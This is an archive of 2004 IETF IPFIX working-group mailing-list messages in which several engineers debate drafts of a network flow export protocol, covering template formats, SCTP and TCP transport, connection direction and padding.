From majordomo@mil.doit.wisc.edu  Sun Aug  1 11:16:43 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05789
	for <ipfix-archive@lists.ietf.org>; Sun, 1 Aug 2004 11:16:43 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BrHkL-00029c-00
	for ipfix-list@mil.doit.wisc.edu; Sun, 01 Aug 2004 09:55:33 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BrHkK-000292-00
	for ipfix-protocol@net.doit.wisc.edu; Sun, 01 Aug 2004 09:55:32 -0500
Received: from [12.105.246.147] (sjc-vpn5-251.cisco.com [10.21.88.251])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i71EtMg27431;
	Sun, 1 Aug 2004 16:55:22 +0200 (CEST)
Message-ID: <410D04AE.6000404@cisco.com>
Date: Sun, 01 Aug 2004 16:56:46 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Luca Deri <deri@ntop.org>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] IPFIX Implementation Report
References: <40F38751.9050405@ntop.org>
In-Reply-To: <40F38751.9050405@ntop.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Hi Luca,

Thanks for your draft!
Let me comment on it, from a IPFIX protocol specification point of view

You wrote
   "it has the drawback of requiring a different
   template format from IETF-defined fields where a numeric identifier
   is used. This difference requires that both probe and collector
   support both formats, with and without the PEN. It should be
   investigated whether it is feasible to merge both template formats
   (IETF and vendor-specific extensions) into one, so that the
   implementation complexity is reduced. "
Good point, already taken care of in the draft-ietf-ipfix-protocol-04.txt

You wrote
     "Hence using SCTP, template
     sending can be optimized, as it is not really necessary to
     periodically send templates, because it is now possible to detected
     whether the collector has disconnected."
Correct, this is addressed in this draft-ietf-ipfix-protocol-04.txt
However, I put the following action item, to make sure the draft is 
checked for consistency throughout all the sections.
   PROTO-25: The section 11 "Template Management" will have to updated
       according to the transport protocol.
       - For example, the point 2 of the section "Template Management".
         Remark: the template management will vary with TCP, SCTP, 
         etc...

You wrote, as an improvement
     "- As with NetFlow, the IPFIX flow format is fixed. Consider the
     following scenario: a user requires in-depth ICMP flow analysis
     (e.g. ICMP code and type). There are basically two solutions:
     either a probe/collector agree on two different templates (one for
     ICMP and one for non-ICMP flows) or they agree on a common template
     for all protocols with the outcome that some flow fields are empty
     when non-ICMP flows are emitted. The ideal solution to this kind of
     scenario is dynamic flows, where emitted flows can have all the
     template fields or a subset of them according to the flow kind."
What you are referring to is the metering process capabilities, which is 
out of scope of this WG.
In IPFIX, we standardize the IP Flow Information eXport.
BTW, you comment that NetFlow V9 has got fixed flow format; this is not 
quite correct. Depending on the traffic, the templates may change.
But again, this is a Metering Process issue; what is important here is 
that the IPFIX protocol gives you the freedom to do what you want within 
the metering process.

You wrote:
     "Finally it should be explored whether it still makes sense to have
     a flow identifier in the flow header when SCTP is taking care of
     issues such as flow retransmission or duplicate discard."
I'm not too sure which field you are talking about?

You wrote:
     - Limited innovation, if any, with respect to existing technologies
     such as NetFlow.
I would say at it was agreed upon at the time of the protocol selection.
 From the architecture draft:
   "The working group went through an extensive evaluation of the various
   existing protocols that were available, weighing the level of
   compliance with the requirements, and finally selected NetFlow V9
   with minor modification as the basis for the IPFIX protocol"
Now up to you to shoot for IPFIX version 2 when this version is out ;)

You wrote:
     "Lack of configuration and monitoring that can be solved through
     an SNMP MIB."
 From the architecture draft
     "Note that the IPFIX system does not provide for remote configuration
   of an IPFIX device. "

Regards, Benoit.

> Dear all,
> I have written an IPFIX implementation report internet draft available 
> here: http://luca.ntop.org/draft-deri-ipfix-impl-00.txt
>
> Feel free to send me your comments.
>
> Regards, Luca
>


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sun Aug  1 11:17:49 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05823
	for <ipfix-archive@lists.ietf.org>; Sun, 1 Aug 2004 11:17:49 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BrHcW-0004oq-00
	for ipfix-list@mil.doit.wisc.edu; Sun, 01 Aug 2004 09:47:28 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BrHcU-0004mm-00
	for ipfix-protocol@net.doit.wisc.edu; Sun, 01 Aug 2004 09:47:27 -0500
Received: from [12.105.246.147] (sjc-vpn5-251.cisco.com [10.21.88.251])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i71ElLg24551;
	Sun, 1 Aug 2004 16:47:21 +0200 (CEST)
Message-ID: <410D0277.4050006@cisco.com>
Date: Sun, 01 Aug 2004 16:47:19 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simon Leinen <simon@limmat.switch.ch>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Re: draft-leinen-ipfix-tcp-00.txt
References: <16626.35477.846730.68294@diotima.switch.ch> <aa4qodfk5n.fsf@diotima.switch.ch>
In-Reply-To: <aa4qodfk5n.fsf@diotima.switch.ch>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Hi Simon,

Thanks for your draft. I read it and I have one concern regarding the 
directionality:
   "The IPFIX collector initiates a TCP connection to the exporter. 

I think that we should stick to the plan that the Exporter initiates the 
connection
Let me give you a few arguments

- For UDP, we've got no other choice that to configure the collector IP 
address and UDP port on the collector
   Why be different for a different protocol? Also, as you pointed out 
in the draft, the SCTP section was created with that notion in mind.

- When IPFIX is configured, we must struggled to loose a minimum amount 
of flow records.
   A backup connection will always be configured from the exporter: the 
exporter must be the one to quickly switch over to a new collector.
   How would the failed collector communicate to the backup collector to 
setup a new TCP connection to the exporter?
   You wrote "In the default configuration, a collector MUST NOT attempt 
to establish a connection more frequently than once per minute."
   We would be loosing a lot of flow records during that one minute 
period. Again, from a transport protocol point of view, the exporter is 
the best guy to minimize the number of lost flow records.

- I'm afraid that, if we've got an opened TCP port on all the routers, 
assigned by IANA,  that port will be the center of all the attention 
for  hackers, because a connection to that port could be basically mean 
that all flow records will be sent through the TCP connection. So 
someone would know everything about your network!
I see that you addressed this:  
    "It SHOULD be possible to
   configure this in terms of strong identities such as IKE [6]
   public-key certificates or pre-shared keys.  An exporter SHOULD
   detect and log unauthorized connection attempts."
However, isn't it like an extra burden while we could simply say: the 
exporter initiates the connection once the metering process is 
configured, whatever the way (SNMPSet, CLI, you name it, anyway it is 
out of the scope of this WG)
Note: Isn't it the same for the IANA port on the collector, you may ask? 
Well, the collector are better protected. On the top of that, an attack 
on the TCP port of the collector would block the receival of flow 
records, but the attacker would not know anything the flow records...

- We might want to configure different aggregations to export to 
different collectors. We might want to configure different reliability 
to different collectors
   Those are somehow linked to the templates/aggregations configuration 
on the exporter, and as the remote configuration from the collector to 
exporter is out of scope.

-  You wrote "The IPFIX collector initiates a TCP connection to the 
exporter.  By
   default, the exporter listens for connections on TCP port XXXX (to be
   assigned by IANA).  It MUST be possible to configure the exporter to
   listen on a different TCP port."
Does it mean that, by default, only one TCP connection can be 
established to the exporter?
Or you would switch to another port


I've some other minor points to discuss.
1. You wrote:
"When an exporter has no more data to send, it SHOULD close the TCP 
connection normally.
I think the behavior is that  the connection should remain up until 
configured otherwise.

2. Ideally, to insert into the protocol draft, we should have a 
somehow-similar structure as SCTP and UDP, i.e.
    TCP......................................................15
       Congestion Avoidance...................................15
       Reliability............................................15
       MTU....................................................15
       Exporting Process......................................15
           Association...........................................15
           Source ID.............................................16
           Stream................................................16
           Template..............................................17
       Collecting Process.....................................17
       Failover...............................................17

3.
   "When an exporter finds that the rate at which flow records should be
   exported is consistently higher than the rate at which TCP permits to
   send, it SHOULD adapt the metering process so that it generates a
   lower amount of data, for example by increasing the sampling
   interval, or by increasing the amount of aggregation.  If it does
   this, the exporter SHOULD periodically attempt to switch back to the
   original metering configuration when congestion subsides."
Is this proper to TCP? Or should we have a combined section for SCTP as 
well?
Then which type of sampling: packet sampling or flow sampling?
Are we going to overlap with PSAMP?
To avoid to have to specify all in details and to overlap with PSAMP, I 
would write a combined section something like:
.... should consider .... instead of SHOULD.

Regards, Benoit.

>I just posted a first cut at an IPFIX-over-TCP draft, hopefully in
>time before the cutoff.  It's short, please have a look at it.
>Section 2 is a list of open issues that I came up with. Feel free to
>discuss these and other issues here!
>  
>


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Aug  2 11:12:45 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12645
	for <ipfix-archive@lists.ietf.org>; Mon, 2 Aug 2004 11:12:44 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bre9u-0005io-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 02 Aug 2004 09:51:26 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bre9t-0005en-00
	for ipfix-protocol@net.doit.wisc.edu; Mon, 02 Aug 2004 09:51:25 -0500
Received: from [12.105.246.96] (sjc-vpn2-391.cisco.com [10.21.113.135])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i72EpKg00114
	for <ipfix-protocol@net.doit.wisc.edu>; Mon, 2 Aug 2004 16:51:21 +0200 (CEST)
Message-ID: <410E54E7.5060002@cisco.com>
Date: Mon, 02 Aug 2004 16:51:19 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] Template ID: one small correction
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Dear all,

While reading the draft, I realized there is a small mistake in section 7.3 Template FlowSet Format.
The format of the Template FlowSet contains Template ID 1 and Template ID 2.
It should be Template ID 256 and Template ID 257.
This change has got no implications; it just complies to the definition 
of the "Template ID" in the same paragraph
            
     Template ID 
           Each of the newly generated Template Records is given a 
           unique Template ID. This uniqueness is local to the 
           Observation Domain that generated the Template ID.      
           Template IDs 0-255 are reserved for Template FlowSets, 
           Options FlowSets, and other reserved FlowSets yet to be 
           created. Template IDs of Data FlowSets are numbered from 256 
           to 65535. 

So the drawing would become.

      0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |       FlowSet ID = 2          |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 256          |         Field Count           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  1.1                     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type N           |         Field Length N        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   
      |                    Enterprise Number  1.N                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 257          |         Field Count           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.2                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type M           |         Field Length M        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.M                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                          Padding (opt)                        | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

This will be corrected in the next version of the draft.

Regards, Benoit


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Aug  3 09:48:18 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08704
	for <ipfix-archive@lists.ietf.org>; Tue, 3 Aug 2004 09:48:17 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BrzJi-0004FW-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 03 Aug 2004 08:26:58 -0500
Received: from host114-228.pool82187.interbusiness.it ([82.187.228.114] helo=athlon.netikos.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BrzJe-0004AN-00
	for ipfix-protocol@net.doit.wisc.edu; Tue, 03 Aug 2004 08:26:55 -0500
Received: from ntop.org (athlon.netikos.com [127.0.0.1])
	by athlon.netikos.com (8.12.11/8.12.11) with ESMTP id i73DP2jG007383;
	Tue, 3 Aug 2004 15:25:02 +0200
Message-ID: <410F922E.6050804@ntop.org>
Date: Tue, 03 Aug 2004 15:25:02 +0200
From: Luca Deri <deri@ntop.org>
Organization: ntop.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Benoit Claise <bclaise@cisco.com>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] IPFIX Implementation Report
References: <40F38751.9050405@ntop.org> <410D04AE.6000404@cisco.com>
In-Reply-To: <410D04AE.6000404@cisco.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Hi Benoit,

Benoit Claise wrote:

> Hi Luca,
>
> Thanks for your draft!

thanks for all you've done so far for IPFIX. I'm following IPFIX since 
about a year, so I apologize if some of my statements have been 
addressed already. As you can see my implementation was based on draft-3 
whereas now draft-4 is out.

Before I comment your mail, I would like to tell my main concerns in a 
few lines:
- I understand that IPFIX is based on NetFlow v9 but you should somehow 
avoid sentences like "The FlowSet ID value of 0 is reserved for 
backwards compatibility..."/"This definition is backwards compatible 
with Netflow v9". As this is IPFIX v1 I don't see any backward 
compatibility issue (even if IPFIX is based on NF v9) so this has to be 
removed. IMHO this WG should not pay attention with compatibilities with 
commercial protocols as IMHO this is out of scope. This is particular if 
backward compatibility means more complexity.
- IPFIX has been designed to be an efficient way to export flows. Now it 
seems to me that from draft to draft all the process is becoming 
increasingly complex. For instance in draft 4 it is specified that in 
addition to SCTP also SCTP-PR must be supported. This would further 
reduce the number of implementations because it increases complexity 
while not providing real added value. If you don't want to turn IPFIX 
into a protocol for an elite of people (see what happened to SNMPv3) 
then you need to reduce (not increase) the effort required to implement 
the protocol. Other examples are sentences like "The Templates FlowSet 
and Option Template FlowSet MUST be sent on stream zero with full 
reliability."
 - I believe that moving away from UDP has many more implications that 
what you probably have expected. It's not an implementation issue but a 
chance to design a protocol without the legacy imposed by UDP. For 
instance under SCTP I don't really see the need to maintain the same UDP 
header.

In a nutshell: if you want to standardize NetFlow v9 rebranding it into 
IPFIX I'm fine. Instead if you pretend to create a flow protocol baed on 
NFv9 that is also suppose to use lessons learnt in the past 10 years 
(just to make you an example have you read this paper "Building a Better 
NetFlow",http://www.caida.org/outreach/papers/2004/betternetflow/betternetflow.pdf 
?) then I'm not happy at all.

Now back to your questions.

> Let me comment on it, from a IPFIX protocol specification point of view
>
> You wrote
>   "it has the drawback of requiring a different
>   template format from IETF-defined fields where a numeric identifier
>   is used. This difference requires that both probe and collector
>   support both formats, with and without the PEN. It should be
>   investigated whether it is feasible to merge both template formats
>   (IETF and vendor-specific extensions) into one, so that the
>   implementation complexity is reduced. "
> Good point, already taken care of in the draft-ietf-ipfix-protocol-04.txt

Yes and not, because the PEN (SNMP concept that has nothing to do with 
NF) is still around for vendor-specific fields whereas it's not 
necessary for IETF (you have used the trick of the first bytes to avoid 
that). I'm asking myself: as a flow is associated with a template that 
is coming from a precise probe, why do you need to have such PEN? Namely
- either you remove PEN and leave some field ID for vendor-specific fields
- or you use PEN also for IETF.
In any case you should not increase the work of somebody like me 
(ntop.org) who wants to export a new field type. I feel that using PEN 
will prevent people from adding new fields, or (as happened with past NF 
version) will push people to jeopardize the protocol just to avoid the 
need to play with PENs.

> You wrote
>     "Hence using SCTP, template
>     sending can be optimized, as it is not really necessary to
>     periodically send templates, because it is now possible to detected
>     whether the collector has disconnected."
> Correct, this is addressed in this draft-ietf-ipfix-protocol-04.txt
> However, I put the following action item, to make sure the draft is 
> checked for consistency throughout all the sections.
>   PROTO-25: The section 11 "Template Management" will have to updated
>       according to the transport protocol.
>       - For example, the point 2 of the section "Template Management".
>         Remark: the template management will vary with TCP, SCTP, 
>         etc...

This is a total nightmare for both probe and collector implementors. 
This is because you have too many exceptions as the IPFIX behaviour 
changes according to the transport used. IMHO is SCTP is the default 
protocol then you must optimize IPFIX for SCTP, and not for UDP that's 
now optional. My feeling is that people will use SCTP just for sending 
templates and UDP for exporting flows. In fact as you have seen from my 
report SCTP has the drawback to send ACKs back to the probe that is 
probably not what most people want.

> You wrote, as an improvement
>     "- As with NetFlow, the IPFIX flow format is fixed. Consider the
>     following scenario: a user requires in-depth ICMP flow analysis
>     (e.g. ICMP code and type). There are basically two solutions:
>     either a probe/collector agree on two different templates (one for
>     ICMP and one for non-ICMP flows) or they agree on a common template
>     for all protocols with the outcome that some flow fields are empty
>     when non-ICMP flows are emitted. The ideal solution to this kind of
>     scenario is dynamic flows, where emitted flows can have all the
>     template fields or a subset of them according to the flow kind."
> What you are referring to is the metering process capabilities, which 
> is out of scope of this WG.

I'm saying that many people jeorpardize NetFlow fields (see ICMP 
code/type in many NetFlow v5 flows) and as this is a common pratice I 
believe it should be addressed by IPFIX. I understand that NF bets on 
the concept of flows and templates, but in practice this creates complexity.

> In IPFIX, we standardize the IP Flow Information eXport.
> BTW, you comment that NetFlow V9 has got fixed flow format; this is 
> not quite correct. Depending on the traffic, the templates may change.

Right but (1) this is a hack (2) this increases application complexity. 
Instead without templates but with inline fields (see my nFlow proposal) 
that is basically a merge between templates and data, everything is much 
much simpler. In particular when you move from RFC to implementation.

> But again, this is a Metering Process issue; what is important here is 
> that the IPFIX protocol gives you the freedom to do what you want 
> within the metering process.
>
> You wrote:
>     "Finally it should be explored whether it still makes sense to have
>     a flow identifier in the flow header when SCTP is taking care of
>     issues such as flow retransmission or duplicate discard."
> I'm not too sure which field you are talking about?

I'm talking about the flow sequence number. Please note that in draft 
for there is a MUST SHOULD (typo I guess) that needs to be fixed ("This 
value MUST SHOULD be used by the Collecting Process to...").

>
> You wrote:
>     - Limited innovation, if any, with respect to existing technologies
>     such as NetFlow.
> I would say at it was agreed upon at the time of the protocol selection.
> From the architecture draft:
>   "The working group went through an extensive evaluation of the various
>   existing protocols that were available, weighing the level of
>   compliance with the requirements, and finally selected NetFlow V9
>   with minor modification as the basis for the IPFIX protocol"
> Now up to you to shoot for IPFIX version 2 when this version is out ;)

Well as v1 is not out yet, I don't see why we whould wait until v2 for 
fixing these issues. Isn't it?

> You wrote:
>     "Lack of configuration and monitoring that can be solved through
>     an SNMP MIB."
> From the architecture draft
>     "Note that the IPFIX system does not provide for remote configuration
>   of an IPFIX device. "

I can accept this for configuration but not for monitoring. In fact you 
should at least remove the options (template) and let a collector be 
informed by a probe via SNMP trap, and let a collector query the probe. 
You somehow use a flow for sending information that has nothing to do 
with flows. I hope you agree with me.

Regards, Luca

> Regards, Benoit.
>
>> Dear all,
>> I have written an IPFIX implementation report internet draft 
>> available here: http://luca.ntop.org/draft-deri-ipfix-impl-00.txt
>>
>> Feel free to send me your comments.
>>
>> Regards, Luca
>>


-- 
Luca Deri <deri@ntop.org>	http://luca.ntop.org/
Hacker: someone who loves to program and enjoys being
clever about it - Richard Stallman


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Aug  5 04:19:14 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA02934
	for <ipfix-archive@lists.ietf.org>; Thu, 5 Aug 2004 04:19:14 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bsd83-0005pn-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 05 Aug 2004 02:57:35 -0500
Received: from rommie.caida.org ([192.172.226.78] helo=caida.org)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bsd81-0005os-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 05 Aug 2004 02:57:33 -0500
Received: by caida.org (Postfix, from userid 2017)
	id 966C44527C; Thu,  5 Aug 2004 00:57:32 -0700 (PDT)
To: Sebastian Zander <szander@swin.edu.au>
Cc: Benoit Claise <bclaise@cisco.com>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] PROTO-14: padding.
X-Face: "oX;zS#-JU$-,WKSzG.1gGE]x^cIg!hW.dq>.f6pzS^A+(k!T|M:}5{_%>Io<>L&{hO7W4cicOQ|>/lZ1G(m%7iaCf,6Qgk0%%Bz7b2-W3jd0m_UG\Y;?]}4s0O-U)uox>P3JN)9cm]O\@,vy2e{`3pb!"pqmRy3peB90*2L
Content-Type: text/plain; charset=US-ASCII
From: David Moore <dmoore@caida.org>
Date: Thu, 05 Aug 2004 00:57:32 -0700
In-Reply-To: <40F1D9B4.6070805@swin.edu.au> (Sebastian Zander's message of
 "Mon, 12 Jul 2004 10:22:12 +1000")
Message-ID: <yfyllgu10gj.fsf@rommie.caida.org>
User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Reasonable Discussion,
 berkeley-unix)
References: <40D1F9CB.3060702@cisco.com> <40D8CB95.1010905@swin.edu.au>
	<40ED1005.3000201@cisco.com> <40EDF8A1.3070900@swin.edu.au>
	<40EE4671.2030804@cisco.com> <40F1D9B4.6070805@swin.edu.au>
MIME-Version: 1.0
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>


Hi Sebastion, Benoit,

I like the newer language (included in proto-4), since it fixes a bug
where the collector is unable to differentiate between padding and
legitimate flow records when the flow record size is small.

I'm wondering if it makes sense to change 'shorter than one Flow Data
Record' to something more like 'shorter than one Flow Data Record of the
corresponding Template ID' or 'shorter than any legitimate Flow Data
Record permissible in this FlowSet' or 'shorter than any allowable
Record in this FlowSet'.

-- david

Sebastian Zander <szander@swin.edu.au> writes:

> Hi Benoit,
>
> here is my proposal for the header format (change formats for other
> templates as well) and the Template Flowset Padding paragraph.
>
>         0                   1                   2                   3
>         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |       FlowSet ID = 0          |          Length               |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |       Template ID 1           |         Field Count           |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Field Type 1           |         Field Length 1        |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Field Type 2           |         Field Length 2        |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |             ...               |              ...              |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Field Type N           |         Field Length N        |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |       Template ID 2           |         Field Count           |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Field Type 1           |         Field Length 1        |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Field Type 2           |         Field Length 2        |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |             ...               |              ...              |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Field Type M           |         Field Length M        |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |             ...               |              ...              |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |        Template ID K          |         Field Count           |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |             ...               |              ...              |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>        |                            Padding (opt)                      |
>        |                              ...			      |
>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>
> Padding
> <your text>
> Because Template Flowsets are always 4-byte aligned by definition
> padding is only needed in case of other alignments e.g. on 8-byte
> boundaries.
>
> Cheers,
>
> Sebastian
>
> Benoit Claise wrote:
>
>> Hi Sebastian,
>>
>>> Hi Benoit,
>>>
>>> answer below
>>>
>>> Benoit Claise wrote:
>>>
>>>> Hi Sebastian,
>>>>
>>>> Actually this sentence is not part of the proposed text. It was
>>>> just a comment.
>>>> I wanted to express the fact:
>>>>    - Template FlowSet always have "4-byte aligned" boundaries."
>>>>    - Template FlowSet are only sent once with SCTP, TCP
>>>> So I think we don't care too much about the alignment for the
>>>> Template FlowSeet
>>>>
